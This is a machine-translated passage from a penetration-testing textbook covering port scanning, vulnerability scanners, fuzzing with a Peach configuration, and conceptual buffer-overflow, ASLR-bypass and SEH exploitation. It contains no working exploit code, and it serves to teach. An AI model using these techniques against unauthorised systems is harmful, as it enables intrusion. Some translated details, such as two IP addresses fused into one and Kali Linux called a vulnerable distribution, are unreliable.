虽然 nmap 是最常见的端口扫描器,并且已经存在了 15 年以上,但它并不是唯一可用的端口扫描器。大多数可用的扫描器与 nmap 做同样的事情,尽管其中一些被设计为在同时扫描大块 IP 地址的情况下更快。使用 nmap,您可以扫描 TCP 和 UDP 端口,并确定底层操作系统。虽然 UDP 扫描非常简单,但是您可以执行多种 TCP 扫描类型。这包括设置不同的 TCP 标志,以便有可能逃避保护或检测。

一旦确定了开放端口,如果可能的话,您将需要确定应用程序和版本。虽然您可以使用 nmap 来收集这些信息,但是您也可以自己使用 telnet 客户端或 netcat 之类的程序来收集这些信息。使用这些程序,您可以自己启动到监听服务的连接,然后如果您向服务器发送协议命令,通常可以得到响应。不是所有的服务都是基于文本的,这意味着你可能不能仅仅发送简单的命令。相反,你可能需要利用一个能为你发送二进制信息的程序,或者你可以自己写一个简单的程序来做这件事。有时,您只是希望能够验证自动化工具提供的响应。这是您可能希望使用 telnet 或 netcat 等手动技术的另一个原因。

练习

  1. 使用 nslookup 和 dig 获取您个人或公司域的邮件交换记录。如有必要,使用gmail.com作为您正在查找的域。
  2. 获取与 IP 地址4.2.2.18.8.8.8相关联的主机名。
  3. 获取与您公司的 Web 服务器主机名相关联的 IP 地址。从主机名中获得 IP 地址后,反向查找 IP 地址,查看相应的主机名是什么。
  4. 对本地网络中的所有主机执行 SYN 扫描。大多数家用网络设备提供/24 网络,这意味着它提供 255.255.255.0 的网络掩码。为了扫描整个网络,您可以提供网络地址,后跟网络掩码或子网位数,如/24。例如,如果您的网络位于 192.168.1.0 上,您应该扫描 192.168.1.0/24。
  5. 使用 nmap 或您选择的工具在您的网络上执行全连接 TCP 扫描。看看同步扫描有没有什么不同。
  6. 使用 nmap 或您选择的工具在您的本地网络上执行 UDP 扫描。比较 UDP 扫描和 TCP 扫描所用的时间。

四、漏洞

如果您已经一章一章地学习了,现在您已经有了一些响应连接尝试的系统的 IP 地址。您还拥有这些系统上开放的端口列表。你要做的下一件事是弄清楚你如何进入那些系统。您需要知道这些端口背后的应用程序可能存在哪些漏洞。

我们知道,如果有一个开放的端口,就有一个应用程序在监听它。端口不会神奇地打开,如果端口没有打开,操作系统会简单地重置连接。这意味着,如果您在 TCP 连接上收到对连接尝试的响应,您就知道有一个程序在等待您的响应。然而,对于 UDP 应用程序来说,情况稍微复杂一些,因为对于发送到 UDP 端口的消息,没有定义响应。UDP 协议规范没有说明在开放端口上有通信时应该做什么。本质上,根据协议定义,响应完全由应用程序决定,而完全不由操作系统决定。

您的扫描很有可能打开了端口,无论它们是 TCP、UDP 还是其中的一部分。端口号,以及您收集的任何横幅,在您试图找出下一步该怎么做时会有些用处。下一步是寻找漏洞。虽然有很多方法可以手动完成这项工作,但最好的方法是使用漏洞扫描器。如果你正在为一家公司工作,并且你有一个体面的预算,有一些优秀的商业扫描仪。然而,如果你只是想自己做一些学习和调查,或者如果你有一个很小的组织,几乎没有预算,有开源和非常低成本的扫描仪非常好,易于使用。

在我们开始研究这些扫描器之前,我们将回顾一下什么是漏洞,并研究一些识别漏洞的方法。这将包括查看一些常见的扫描仪以及如何使用它们。

什么是漏洞?

在你去寻找某样东西之前,你应该知道它是什么。漏洞仅仅是系统中的弱点,无论该系统是软件、硬件设计还是网络。您可能会发现漏洞的原因有很多。这可能只是配置错误,启用了不必要的功能,这些功能可能会被恶意使用。一个例子是意外打开匿名 FTP,这可能允许某人上传大量数据,从而导致磁盘被填满。如果 FTP 服务器可以访问敏感数据,并且打算在用户可以访问之前要求进行身份验证,则同样的错误配置可能会允许从该服务器提取敏感数据。具有大量配置设置的复杂软件,包括 Web 服务器和 Java 应用服务器,仅举几个例子,就容易出现这种错误配置。

就漏洞而言,错误配置并不是唯一的可能性。错误的配置并不总是导致系统能够做一些有趣的事情。这就是我们想要软件缺陷被利用来做有趣的事情的地方。有许多不同类型的错误会导致系统被利用。其中最持久和最常见的是缓冲区溢出。缓冲区是用于存储数据的一块内存。在这种情况下,它将是一个内存块来存储用户提供的一段数据。缓冲区的大小是固定的,如果用户发送的数据比预期的多,那么后续的内存空间就会被超出的部分填满。这是某些编程语言(最著名的是 C 编程语言)没有输入约束的结果。由于输入缓冲区存储在称为堆栈的内存结构中,并且程序要返回的内存位置的地址也存储在内存中,这种特殊类型的漏洞为攻击者打开了大门,攻击者可以通过操纵返回地址来控制执行流,迫使程序转到攻击者控制的一组代码。图 4-1 显示了一个堆栈的简单示意图。顶部是内存缓冲区。一旦分配给缓冲区的空间用完,剩余的空间开始流入它下面的所有内容,包括已经保存的地址,以便将执行流返回到调用内存段。

A417535_1_En_4_Fig1_HTML.jpg

图 4-1。

Stack using a buffer

有一些方法可以修复这种类型的漏洞,包括使堆栈不可执行。您还可以使用一种称为堆栈金丝雀的东西,它是一个随机值,在将执行返回到内存中的调用区域之前会对其进行检查。如果金丝雀是它所期望的那样,寄信人地址就被认为是安全的。如果金丝雀被改变了,程序将会暂停,而不是将控制权返回给攻击者可能已经上传到正在运行的程序中的代码。

我们不会详尽地列出所有不同类型的漏洞,而是会在缓冲区溢出问题上停下来,因为这是一个经典问题,至今仍存在。您可能想看看其他主题,如竞争条件、堆溢出、整数溢出和各种注入攻击。你可以看到溢出是很常见的。大多数情况下,任何时候程序接受用户的输入,用户的输入都应该被认为是完全不可信的,但是程序员并不总是这样做。或者,在试图做正确的事情的过程中,他们可能无意中打开了通往其他事情的大门。无论哪种方式,都有许多不同类型的漏洞。开放 Web 应用程序安全项目(OWASP)每年都会跟踪常见的漏洞。虽然 OWASP 通常专注于 Web 应用程序安全,但不同的漏洞类别通常存在于不同的应用程序类型中。

其他组织,如计算机应急响应小组(CERT ),也跟踪主要漏洞,但与 OWASP 不同,它包括漏洞的类型,CERT 列出具体的漏洞。类似 CERT 的列表是基于实际攻击的。他们根据已报告的攻击信息创建列表。由于已知的攻击,该列表最终成为组织需要立即解决的所有基本漏洞。还有其他组织也有类似的名单。

漏洞扫描器

现在我们或多或少知道了什么是漏洞,我们应该开始寻找一些漏洞。毕竟,我们需要找到进入系统的方法来赚取我们的薪水,我们通过利用漏洞来做到这一点。您当然可以通过大量的手工工作来找到这些漏洞,但是如果您使用扫描仪,这要容易得多;有几种可供选择。可能性范围从非常高端的商业扫描仪到开源扫描仪,中间有大量的选择。漏洞扫描器从 20 世纪 90 年代就已经出现了。最早的一个是分析网络的安全管理员工具(撒旦)。撒旦是由 Dan Farmer 和 Wietse Venema 在 20 世纪 90 年代中期开发的。Farmer 和 Venema 都因他们参与的其他安全相关项目而闻名。法默从计算机甲骨文和密码扫描仪开始,其中包括一些专门的漏洞检查。

撒旦附带了一个小脚本,可以让你把撒旦这个词的所有实例都改成圣诞老人,给那些可能被撒旦这个名字冒犯的人。目前的商业扫描仪圣人是基于撒旦。安全审计员的研究助理(SARA)也是撒旦的追随者。

漏洞扫描器通过对系统和软件运行大量测试来工作。这可能包括运行端口扫描来查找打开的端口和侦听应用程序。它还会检查操作系统是什么。基于这些数据,漏洞扫描程序将确定是否存在潜在的漏洞。它实际上并没有利用这些漏洞。它也不能定位未知的漏洞。如果一个软件中有一个缺陷到目前为止还没有被报告,扫描仪就不能将其识别为一个问题。这包括通常所说的零日攻击。零日漏洞是指已经开发了一个漏洞,但该漏洞尚未向软件供应商披露,因此可以修复的软件错误。因此,软件的安装容易受到零日持有者的攻击,直到供应商意识到该漏洞并开发出可以安装的修补程序。

漏洞扫描器从数据库或模块集合中运行。这些测试集需要定期更新,以便跟上存在的大量漏洞。事实是,软件缺陷不断被发现,包括非常旧的软件。

近年来一个值得注意的错误是 ShellShock,这是 Bourne-again shell (bash)中的一个漏洞。这是一个存在了大约二十年的漏洞,但直到最近才被发现。仅仅因为一个软件或者一个操作系统是旧的,并不意味着没有新的错误被发现。

在过去的几十年里,关于研究人员和 bug 猎人,以及当他们发现一个 bug 时应该如何与软件供应商互动,安全社区内部一直存在争论。许多软件供应商长期以来更愿意在任何关于缺陷的事情被公之于众之前有足够的时间来修复缺陷。一旦问题被披露,在供应商修复缺陷之前,恶意用户可以利用这些详细信息来创建和利用漏洞。发布可能被用来暴露无辜和不知情的用户的细节是不道德的。然而,对于供应商来说,不修复他们已经被告知的漏洞也是不道德的。因此,有一个中间地带。像微软这样的公司愿意与研究人员合作,并允许研究人员将自己的发现归功于自己。他们也有一个验证错误并解决它们的过程。其他公司在及时解决问题方面做得不太好,并且通常在安全社区中以不解决问题和不与研究人员合作而闻名。

有像 Bugtraq 和 Full Disclosure 这样的邮件列表,其中经常发布与第三方(如 bug 猎人和研究人员)发现的问题相关的公告。除了了解第三方披露的错误,您还可以了解可用于利用这些漏洞的概念验证代码。

扫描漏洞

这里需要注意的是,虽然漏洞扫描器并不实际运行漏洞来确定系统是否易受攻击,但您总是有可能影响系统的运行。仅仅是扫描行为就可能导致系统或应用程序故障。在扫描系统之前,您确实应该向系统所有者提供大量通知,以便他们在受到影响时做好准备。可以使用 Canvas、Core Impact 和 Metasploit 等漏洞利用框架来验证漏洞。

有许多漏洞扫描器。你可以购买软件扫描仪或设备。您可以利用开源解决方案,或者您可以简单地购买一项服务,由提供商通过互联网或专用网络连接为您进行扫描,然后向您提供结果。这里我们将重点介绍 Nessus、Nexpose 和 OpenVAS。首先,查看这些的原因是因为它们很容易获得并且有免费版本。一旦你熟悉了这些是如何工作的,你应该能够使用你遇到的任何其他扫描仪。

当您执行漏洞扫描时,需要了解一些事情。扫描程序将根据您提供的配置及其存储的已发布漏洞数据库,检查所有可能的漏洞。每个扫描仪都有不同的配置选项集。有些比其他的更详细。此外,随着时间的推移,不同的扫描仪已经改变了它们的选项和配置方式。在图 4-2 中,您可以看到 Nessus 中高级扫描选项的一部分。Nessus 已经存在很长时间了,是一个备受尊敬的漏洞扫描器。它最初是一个拥有独立客户端的开源扫描仪。目前,您为 Nessus 配置了一个不断发展的 Web 界面。像 Nessus 这样的产品可能会随着时间的推移而改变其界面。在某些时候,界面可能会与您在此屏幕截图中看到的有所不同。

A417535_1_En_4_Fig2_HTML.jpg

图 4-2。

Nessus options

虽然 Nessus 必须获得商业使用许可,但它的开发商 Tenable Security 确实提供了家庭许可证。使用家庭许可证不需要任何费用,但它严格是非商业性的,它将只允许您扫描多达 16 个 IP 地址。如果你想看看你所有的家庭系统,或者你只是想获得一些在你的家庭系统上使用它的经验,你可以下载 Nessus。然而,为了在商业环境中使用它,包括作为顾问,你需要支付商业许可证。当前的 Nessus 产品提供了许多预配置的模板,包括用于支付卡行业(PCI)合规性审计的扫描模板。

一旦选择了所有选项,就可以开始扫描了。该界面旨在为您提供即时反馈。在图 4-3 中,您可以看到显示扫描结果的图表。此图表显示了被发现具有运行系统的 IP 地址,以及每个 IP 地址发现的每种类型漏洞的数量。漏洞从左到右排列,最严重和最关键的漏洞位于条形的左侧,最不严重的信息性发现位于条形的右侧。在这个特殊的例子中,大部分的发现只是信息性的。虽然有一些与第一个列表 172.30.2.8 相关的重要发现,但它并不是一个很大的数字,并且显示的红色长条几乎不可见。如果我把鼠标放在红色的长条上,Nessus 显示有一个重要的发现。

A417535_1_En_4_Fig3_HTML.jpg

图 4-3。

Nessus results

扫描器通常能够检查远程和本地漏洞。远程漏洞是一种不需要您在系统上的漏洞。您可以在任何能够通过网络连接访问系统的地方。本地漏洞是指需要用户打开系统会话的漏洞。这可能意味着坐在计算机前,甚至通过远程连接协议(如远程桌面协议(RDP)、安全外壳(SSH)或 Telnet)进行连接。如果您连接到系统,可以运行安装在系统上的程序,则您拥有本地连接,可以触发本地漏洞。

Nessus 扫描会检查远程漏洞,因为如果我在网络上,扫描仪就只能看到这些。包括 Nessus 在内的一些扫描仪将允许您提供本地凭据。您可以使用安全外壳(SSH)连接、服务器消息块(SMB)、Telnet 或其他类型的远程访问进入。提供凭据将允许您作为本地系统的授权用户获得扫描程序可以找到的所有漏洞的列表。这可能包括过时的软件包或系统上的错误配置,这可能会将系统暴露给想要执行恶意或未经授权的操作的本地用户。扫描器通过网络登录到被扫描的系统,以获得进行本地检查所需的本地访问权限。

任何本地扫描都将限于已通过身份验证的用户被授予的权限。管理用户通常拥有系统的完全运行权限,而其他用户可能无法识别所有已安装软件的所有漏洞。

许多管理员可能对本地漏洞不太感兴趣。原因是,为了获得对漏洞的访问权限,攻击者必须使用远程漏洞或一组授权的凭据获得对系统的访问权限。一些管理员和组织会认为触发本地漏洞的唯一方式是攻击者对系统进行物理访问。组织有时认为他们的员工完全值得信任,因此本地漏洞不值得花费资源来修复。如果您运行的 Web 服务器相当坚固,那么您可能会担心更新系统上的某些库可能会影响站点的功能。保持网站的功能性很重要。如果用户不能利用由于更新而损坏的页面,说系统更新了新软件不会让任何人感觉更好。

更新软件有可能导致停机。一些系统对停机更敏感,因此请求对这些系统进行更新需要一个广泛的过程来证明更新的重要性。

当然,Nessus 不是唯一可用的扫描仪。虽然它是商用的,但它并不是唯一一款免费的商用扫描仪。Rapid7 提供的 Nexpose 也有社区版。Nexpose 的社区版本与 Nessus 的家庭许可证有类似的限制。社区许可证允许您访问所有功能,但您只能访问 16 个目标。除了个人使用,这通常会使它不切实际。如果您必须一次扫描 16 台主机,那么即使只扫描 254 台主机的 C 类地址,也要花费相当长的时间,然后导出数据并清除数据库,然后才能重新开始。社区版本对于在家学习和测试是有好处的,但是如果你想在真实的环境中使用它,它真的没有太大的意义。

使用 Nexpose 的一个优点是它可以与 Metasploit 集成。Metasploit 是一个漏洞利用框架,因此集成意味着您可以在很短的时间内从漏洞识别快速转移到验证和/或利用。就像 Nessus 一样,Nexpose 也有一个 Web 界面。Nexpose 和 Nessus 之间的一个很大区别是 Nexpose 的组织方式。Nessus 提供了您可以用来开始工作的扫描和策略,Nexpose 添加了组织和站点。这种详细程度对于可能有许多客户的顾问来说非常有用。他们想要区分他们的客户,甚至他们的客户站点。您创建了一个存储组织信息(包括联系人)的站点,因此您最终会得到一个与您的扫描相关的更全面的信息数据库。在图 4-4 中,你可以看到启动 Nexpose 扫描的样子。您可以点击通过许多信息收集屏幕,但它可能有助于存储这些信息。

A417535_1_En_4_Fig4_HTML.jpg

图 4-4。

Nexpose scan start

从屏幕截图中,您可以看到收集的所有信息。您可以使用主机列表、地址范围和一组排除规则来跟踪与组织关联的所有资产。您可以选择想要使用的模板,也可以设置凭证,就像使用 Nessus 一样。使用 Nexpose,您可以拥有多个用户并对组织设置访问控制。通过这种方式,您可以向可能需要查看结果以开展补救活动的其他用户提供访问权限。一旦建立了拥有所有资产、凭据和访问控制的组织,您就可以开始扫描或设置开始扫描的时间。一旦扫描开始,您将会看到一个进度指示,如图 4-5 所示。与典型的进度条不同,它提供了结果的快速摘要,包括迄今为止的漏洞计数。

A417535_1_En_4_Fig5_HTML.jpg

图 4-5。

Nexpose Progress

在继续讨论结果之前,我们要看的最后一个扫描仪是 OpenVAS。OpenVAS 以开源 Nessus 的副本作为新项目的基础开始了它的生命。从那以后,OpenVAS 的架构和界面经历了几次变化。最初,OpenVAS 有一个独立的应用程序,但它已经从修改后的应用程序转向像其他扫描仪一样的网络界面。您可以在图 4-6 中看到基于 Web 的界面的入口点。这台扫描仪的工作方式和其他的相似。您有扫描策略和目标。如果要进行本地扫描,您需要提供凭据。有了 OpenVAS,你可以直接从应用程序的首页进行快速扫描。你插入一个目标,点击开始扫描,OpenVAS 就上路了。

A417535_1_En_4_Fig6_HTML.jpg

图 4-6。

OpenVAS

一旦完成扫描,您将获得一个潜在漏洞列表。请记住,这些只是潜在的漏洞,而不是确认可利用的漏洞。您仍然需要手动验证它们。这需要使用像 Canvas、Core Impact 或 Metasploit 这样的利用框架。在下一章中,我们将更仔细地研究如何利用漏洞。同时,您应该仔细阅读漏洞类型。你可以通过你正在使用的扫描仪做到这一点。扫描器对它们发现的漏洞有很好的解释,包括补救建议。对于 Nexpose,您将获得到 Metasploit 模块和漏洞数据库网站的链接。这种额外的帮助将使您更快地验证问题。

OpenVAS 默认安装为 Kali Linux 的一部分。事实上,Kali Linux 已经默认安装了很多您可能想要使用的工具。还安装了 Metasploit,您可能也想安装 Nexpose。

但是,在某些情况下,您可以手工进行验证。有些验证非常简单,您可以使用我们之前讨论过的一些技术,比如手动直接连接到服务器。通常,结果的详细信息将提供足够的信息,以便您能够通过轻松复制扫描程序的操作来验证漏洞。如果没有,您可能需要使用其他技术或工具,如漏洞工具包。

起毛

如前所述,漏洞扫描器的一个问题是,它们只发现已知的问题,并在数据库中列出。在您可以用漏洞扫描器找到某个东西之前,其他人需要先找到它,以便可以为扫描器创建一个模块。如果您的环境中有自己开发的应用程序,扫描程序不会做任何事情来识别这些应用程序中的问题。为了发现您自己开发的应用程序中的问题,您需要进行一些有针对性的安全性测试。但是,您也可以利用其他工具和技术来帮助您。有一段时间,fuzzing 是一种非常流行的技术,用于识别自主开发的应用程序中的漏洞。它的使用有所减少,但其背后的想法是合理的。模糊化的概念是在应用程序中插入意想不到的输入,希望应用程序以有趣的方式失败并暴露漏洞。旨在发现错误的消极测试有时会被排除在高质量的程序之外。这些测试程序通常更侧重于正面测试,这是为了确保程序按预期工作,而不是试图专门寻找 bug。使用模糊化技术可以发现许多输入验证错误。

目前仍在使用并积极开发的 fuzzing 工具之一是 Peach。Peach 是一个开源的 fuzzer,它使用 XML 脚本来告诉它做什么。例如,下面显示了用于针对 Web 服务器生成 HTTP 请求的 XML:

<DataModel name="HttpRequest">

        <String value="GET / HTTP/1.0" />

</DataModel>

     <StateModel name="TheStateModel" initialState="TheState">

             <State name="TheState">

                     <Action type="output">

                             <DataModel ref="HttpRequest" />

                     </Action>

             </State>

     </StateModel>

     <Agent name="LocalAgent" location="http://127.0.0.1:9000">

             <Monitor name="Debugger" class="debugger.WindowsDebugger">

                     <Param name="Command" value="C:\Peach\samples\CrashableServer\release\CrashableServer.exe"/>

                     <Param name="Params" value="192.168.1.195"/>

             </Monitor>

             <Monitor name="Network" class="network.PcapMonitor">

                     <Param name="filter" value="tcp"/>

             </Monitor>

     </Agent>

     <Test name="HttpRequestTest" description="HTTP Request GET Test">

             <Agent ref="LocalAgent" />

             <StateModel ref="TheStateModel"/>

             <Publisher class="tcp.Tcp">

                     <Param name="host" value="192.168.1.195" />

                     <Param name="port" value="4242" />

             </Publisher>

     </Test>

     <Run name="DefaultRun" description="HTTP Request Run">

             <Test ref="HttpRequestTest" />

             <Logger class="logger.Filesystem">

                     <Param name="path" value="c:\peach\logtest" />

             </Logger>

     </Run>

使用 Peach,您可以创建一个数据模型。数据模型告诉 Peach 如何构造从 Peach 到测试中的应用程序的输出。在我们的例子中,我们只是发出一个简单的 HTTP 请求,所以它是一个字符串。当然,根据您测试的应用程序,您可以创建更复杂的数据模型。一旦有了数据模型,就需要建立状态模型。状态模型用于连接多个数据模型,以进行更复杂的协议通信。根据应用程序的工作方式和您想要测试的内容,您可以在您的状态模型中使用许多数据模型。一旦您有了状态模型,您需要创建一个测试。测试将包括一个发布者,它指示 Peach 如何与应用程序通信。您可以使用 TCP 或 UDP 客户端进行网络通信,也可以只生成一个文件来打开应用程序。您还必须咨询代理。代理定义了一个监视器。

监视器实际上是测试中最重要的部分,因为它检查应用程序是否崩溃。如果您可以使一个应用程序崩溃,但是您不知道您已经这样做了,那么您可能还没有开始运行测试。Peach 允许许多方法来处理这个问题,包括使用调试器。如果您配置了一个好的监视器,Peach 能够确定测试中的应用程序何时崩溃。监视器将识别产生崩溃的输入,此时问题可以交给应用程序开发人员来解决。崩溃的应用程序打开了大门,创造一个漏洞,将让您控制程序。桃子本身不会为你做那件事。为此,您需要创建自己的漏洞或使用漏洞框架。

Peach 提供了一个社区版,但是开发者正试图从他们花了数年开发的程序中获利。其中一个原因是因为像 Codenomicon 这样的公司已经销售 fuzzing 工具有一段时间了。开发自己软件的组织应该在他们的测试套件中添加模糊化工具,以确保软件尽可能健壮。

Codenomicon 是一家来自芬兰奥卢大学 PROTOS 项目的公司。PROTOS 项目使用了一个 Java 引擎,通过一些常用的协议来运行一些异常的测试用例。他们的一项测试最终发现了 ASN.1 协议在许多简单网络管理协议(SNMP)实现中的一个重大问题。在宣布之前,花了一年时间与世界各地的供应商谈判,才解决了这个问题。PROTOS 项目也发现了其他网络协议的重大问题。

摘要

一旦有了主机列表,就可以创建一个源列表,并将其输入到漏洞扫描程序中。当然,漏洞扫描器也可以自己发现主机和端口。您可以免费获得一些漏洞扫描器,这样您就可以练习您的漏洞扫描技术。这些扫描仪包括 Nessus、Nexpose 和 OpenVAS。也有许多其他商业扫描仪可用。虽然他们都执行相同的任务,但他们都以不同的方式执行任务。一些公司会以比其他公司更快的速度给他们的扫描仪软件添加新的测试。这对于某些测试情况很重要,但对于其他情况则不然。

完成漏洞扫描后,您需要验证并理解已识别的漏洞。一些扫描仪会提供大量的细节来帮助你进行检查。像 Nexpose 这样的扫描器可以直接链接到 Metasploit 这样的工具,如果您在同一个系统上安装了这两个工具,可以节省一点时间。

对于自主开发的应用软件,您可能希望使用像 Peach 这样的模糊化工具对输入验证中的漏洞进行一些不太具体的测试。像 Peach 这样的工具的问题是,即使你能找到使应用程序崩溃的方法,Peach 也不会让你控制执行的流程。这将需要一些额外的知识,如何操纵程序作为崩溃的一部分。像 Metasploit 这样的漏洞利用框架可以帮助您快速开发漏洞。

练习

  1. 安装 Nexpose 并对其中一个可利用的系统执行扫描。记下打开的端口和发现的漏洞。
  2. 安装 Nessus Home 的副本,并对其中一个可利用的系统执行扫描。将 Nessus Home 和 Nexpose 的研究结果进行比较。
  3. 使用 Kali Linux 中的 OpenVAS 扫描您的一个可利用系统。

五、利用

在渗透测试中,可以这么说,利用是橡胶遇到道路的地方。这是大多数渗透测试人员眼中的终极奖励。利用是你做渗透测试的“渗透”部分。当然,这是假设您能够找到可以利用的漏洞。仅仅因为你发现了一个漏洞,并不能保证你能够利用它来利用系统。另外,利用漏洞看起来像什么呢?您可以想象漏洞利用的结果会是什么样子。在小说中,它通常被描绘成给你某种形式的计算机接口,最常见的是一个远程桌面,就像普通计算机用户看到的那样。然而,在图形用户界面的现代世界中,桌面访问并不一定意味着您将看到整个图形桌面。如果您碰巧获得了交互式访问,更有可能的是,您将获得某种形式的命令行访问,它允许您在计算机文件系统中移动并运行程序实用程序。这意味着一旦你进入系统,你需要知道如何与系统互动。如果您习惯于主要使用鼠标和 Windows 来控制您正在使用的任何系统,那么是时候学习一些命令行技能了。

然而,利用并不总是为了获得对系统的直接访问。通常,利用漏洞会导致服务甚至整个计算机系统崩溃。这可能是一种有用的拒绝服务攻击,在您利用系统时,这是一种相当常见的结果。导致程序崩溃的错误很常见。能够在那次崩溃中做些有用的事情就更难了。通常,进程(程序的内存实例)崩溃的原因是因为它被要求进入内存中的某个位置,该位置要么不属于该进程,要么实际上不包含可执行代码。或者可能在内存位置有合法的操作码,但是伴随操作码的参数对处理器没有任何意义。这些事情中的任何一个都会导致程序崩溃。然而,仅仅因为你能使一个程序崩溃并不意味着你将自动获得对该程序的控制。利用程序崩溃来让系统执行你的命令需要相当多的技巧和毅力。

幸运的是,我们不必独自工作来找出如何将成功的利用转化为对易受攻击的计算机系统的有效控制。利用他人的成果来开发系统的一种方法是使用 Metasploit。Metasploit 是由 H.D. Moore 开发的一个开发框架,现在归 Rapid7 所有。虽然 Metasploit 是商业软件,但有一个社区版可以免费使用。还有其他利用框架,如 Canvas 和 Core Impact,但 Metasploit 是唯一一个以开源开始并继续提供免费社区版的利用框架。缺省情况下,Metasploit 也安装在 Kali Linux 上,Kali Linux 是为进行渗透测试而设计的易受攻击的 Linux 发行版。所有这些都表明 Metasploit 无疑是最广为人知和使用最广泛的可用开发框架,并且是大多数人的逻辑起点。

当您想要开发自己的漏洞时,您将需要熟悉调试器,它将允许您查看正在运行的程序内部并实时检查内存位置。使用调试器,您还可以通过一次暂停和运行一条指令来控制程序的执行流程,这样您就可以看到行为。不足为奇的是,一些用于此目的的最佳程序是商业的,但是也有非常好的非商业版本的调试器。

在本章的课程中,我们将主要通过使用开发框架来介绍一些开发基础知识。这里有很多内容要介绍,因为重点是让您快速入门,所以我们将很快介绍所有内容。虽然你可以用它来工作,但如果没有丰富的经验,你可能无法完全理解你在做什么。几乎任何人都可以快速到达可以在 Metasploit 中运行某些模块的地方。就像任何其他技能一样,大量的练习可以导致更深的理解和更好的表现。

获得控制权

攻击者在攻击系统时并不总是有相同的动机。在某些情况下,他们可能只是想影响程序或系统,使其不再响应用户的合法请求。这种拒绝服务可能导致程序崩溃。如果一个程序崩溃,并且没有一个进程来确保它在失败时重新启动,这个进程有时被称为看门狗进程,那么没有其他用户能够访问该程序提供的任何服务。举个例子,如果你让电子邮件服务器程序崩溃,那么在程序重新启动之前,没有人能够使用这个服务器。对于攻击者来说,这可能是一个完全可以接受的结果。然而,并不是所有的攻击者都会对这个结果感到满意,所以他们可能想利用这个正在运行的程序在系统中获得一个立足点。这意味着试图让程序运行攻击者提供的可执行代码。如果您阅读漏洞报告,这通常被称为任意代码。

攻击者有几种不同的方法来控制程序。如果你还记得上一章关于堆栈的讨论,你可能还记得放在堆栈上的信息之一是返回地址。返回地址是内存中的一个位置,当一个函数完成运行时,程序执行要返回到这个位置。返回地址被放回到指令指针中,指令指针是一个称为寄存器的专用内存块,它存储了处理器预期从中提取下一条可执行指令的内存位置。控制程序的一种方法是将可执行指令作为输入发送,然后通过操纵堆栈上的返回地址来指向它们,从而让程序运行这些指令。这不是一个微不足道的任务,解释它远远超出了本书的范围。然而,当我们以后开始利用预先构建的漏洞时,了解该漏洞是如何工作的是很有用的。

这个特殊的过程是通过使用一种称为缓冲区溢出的技术来完成的。图 5-1 显示了一个堆栈框架的可视化表示,它是内存的一部分,包括局部变量和其他与函数调用相关的信息。在内存中一个完全独立的部分是程序第一次运行时操作系统加载的可执行代码。你可以在那里看到加载指令指针。在缓冲区溢出的情况下,攻击者会向程序发送大量数据。对于分配给变量用来保存数据的空间量来说,这些数据太多了。结果,数据会溢出到下一个内存位置,一直到返回地址,甚至更远。当操作系统寻找返回地址时,它会得到攻击者提供的可执行代码的起始地址。

A417535_1_En_5_Fig1_HTML.jpg

图 5-1。

Stack and text segments

理论上,这听起来很容易。然而,为了迫使操作系统跳转到新代码所在的堆栈中的地址,需要做大量的工作。攻击者代码的位置是漏洞利用成功的必要条件。理想情况下,每次运行程序时地址都是相同的,在某些情况下确实如此。一些程序实际上是在它们在内存中的首选位置已经确定的情况下编译的。因为操作系统使用虚拟内存,这意味着程序知道的地址不同于物理地址,所以程序可以相信任何它想知道的地址。在从内存中检索数据之前,操作系统无论如何都要进行转换以获得真实地址。为什么不让程序预先指定它想要的地址呢?它简化了从源代码到可执行代码的程序编译,也简化了操作系统提供一组地址的工作。这种方法的问题是,它允许攻击者利用已知的信息来攻击程序。防止缓冲区溢出的一种方法是使用一种称为地址空间布局随机化(ASLR)的技术。这种技术在程序每次运行时为其提供一组不同的地址,因此攻击者无法提前保证他们需要跳转到哪个地址。如果真的能做到的话,尝试在飞行中确定它要困难得多。ASLR 最终成为抵御缓冲区溢出攻击的一种相当有效的方法。

然而,使用 ASLR 并不意味着攻击者运气不好。他们还可以使用其他技术。其中之一是利用大多数程序使用共享库的事实。共享库是可供多个程序使用的函数集合。这些共享库通常位于内存中的已知地址,或者至少位于可以确定的地址。攻击者不是试图覆盖缓冲区,而是利用这些共享库的地址是已知的这一事实,跳转到内存中的这些位置,而不是缓冲区溢出的位置。这仍然需要攻击者发送太多的数据使缓冲区溢出,以便到达返回地址并覆盖它。攻击者不会用攻击者提供的代码覆盖堆栈中的地址,而是将程序的执行发送到一个共享库中,让库函数完成适当的工作。通常,攻击者可能会利用system()函数,该函数将命令传递给操作系统。这将允许攻击者完全绕过程序,在操作系统本身中执行命令。这并不意味着我们无法抵御这些攻击。操作系统可以使用一些技术来抵御这类攻击。

Windows 系统使用一种叫做结构化异常处理的东西来处理异常情况,比如那些可能导致程序崩溃的情况。攻击者可能会利用结构化异常处理程序来执行他们自己的代码。他们可以这样做,因为结构化异常处理程序的一部分是指向一段代码的指针,这段代码可以对错误条件做一些事情,比如显示一个对话框来通知用户发生了不好的事情。因为有一段可执行代码在起作用,这对于攻击者来说是一个公平的游戏。攻击者触发错误,然后让错误处理程序跳转到为执行攻击者的命令而创建的代码块,而不是程序员编写程序时想要发生的事情。

可用的利用框架将提供不同的利用方式,可能利用这些攻击之一。然而,当利用完成时,攻击者想要进入系统。这通常是通过一种叫做有效载荷的东西来完成的。漏洞利用运行并设置程序做攻击者(我们,在我们使用漏洞利用框架的情况下)想要的事情。这可能是将命令行(也称为 shell)发送回攻击者(我们)。我们将看看这是如何工作的,但首先我们需要确保我们有一个可以利用的漏洞。

查找漏洞

漏洞扫描器根据它们所拥有的信息,给出它们对漏洞的最佳猜测。这可能是他们从应用程序获得的横幅,其中包括版本号或只是应用程序的名称。这并不总是足以确定是否真的存在漏洞。这就是为什么我们跟进利用框架,看看我们是否真的可以利用漏洞。如果漏洞扫描程序发布了一个发现,但进一步的测试显示漏洞并不真正存在,这是一个误报。扫描仪错误地显示存在漏洞。您也可能会得到假阴性,这是真正存在的问题,但没有被扫描仪发现。漏洞扫描器实际上只是测试的起点,而不是旅程的终点。然而,这是一个很好的起点,因为结果将有助于我们找到一些需要更详细研究的道路。

漏洞扫描器还需要检查的一个方面是它发现的问题的严重性或关键性。例如,如果您向扫描程序提供凭据,并且它报告了一个需要本地登录才能利用的漏洞,则您可以确定它是一个低风险项目,因为您使用防火墙来限制对远程登录功能的访问,并且您还使用双因素身份验证。了解这些额外措施的人可以将这些额外措施纳入严重性评级。漏洞扫描器不具备这方面的知识。它只知道创建定义的人对临界性说了些什么。当您报告您的发现时,不要总是将漏洞扫描器所说的视为最佳答案。

